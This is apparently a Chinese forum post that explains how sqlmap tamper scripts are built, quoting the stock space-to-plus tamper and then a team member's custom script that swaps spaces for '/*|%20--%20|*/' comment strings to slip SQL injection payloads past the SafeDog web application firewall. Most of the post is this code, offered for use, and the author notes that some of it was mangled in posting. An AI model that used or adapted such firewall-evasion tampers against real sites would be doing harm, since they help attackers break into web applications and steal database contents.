昨天看到有个小白问SQLMAP怎么过一些防护这个我就很蛋疼了，
还好团队里面有人写过过狗的tamper的插件我就拿来给大家分析分析他们的原理和构造。
因为sqlmap是国外开发的神器所以没有过狗的相关插件，
所以我们先拿tamper里面有的插件来分析分析他是如何构造的好让我们用更多套路饶过他。
我在tamper里面找到一个特别简单的一个插件，
我们来分析分析他的构成。
代码如下：
（不知道什么原因，代码放不到一起去）
**----------------------------------------------------
!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
priority = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with plus ('+')
Notes:
* Is this any useful? The plus get's url-encoded by sqlmap engine
invalidating the query afterwards
* This tamper script works against all databases
>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "+"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "+"
continue
retVal += payload[i]
return retVal
Replaces space character (' ') with plus ('+')写的是他的注释说的是替换空格为+绕过空格过滤规则。下面我们看他的编写部分。
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "+"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "+"
continue
retVal += payload[i]
这里上述代码第一行xrange(len(payload)会返回一个迭代序列，可以用来实现循环。if payload.isspace(): 判断是否有空格，如果有那就继续执行下面的语句。然后继续使用elif语句进行判断。Payload值如果存在空格，并且不是双引号，也不是单引号，继续执行下面的语句进行替换。其实我们编写别的插件需要构造别的插件需要替换的是这串代码。
retVal += "+"
我们大致了解了插件的编写这里我们来编写我们的过狗插件。那团队某位牛写的给大家分析。
代码如下
（不知道什么原因，代码放不到一起去）
*#!/usr/bin/env python
"""
write by sebao
2016.05.29
"""
from lib.core.enums import PRIORITY
priority = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, kwargs):
"""
Replaces space character (' ') with plus ('/|%20--%20|/')
>>> tamper('SELECT id FROM users')
'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
By sebao
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*|%20--%20|*/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*|%20--%20|*/"
continue
retVal += payload[i]
return retVal
大家可以看到这串注释 Replaces space character (' ') with plus ('/|%20--%20|/')
换空格为（/|%20--%20|/）绕过过滤规则。【这是以前的过狗办法】
下面的还要我分析吗？？？
很显然不用了吧.......】
只需要替换这两处就可以了.】
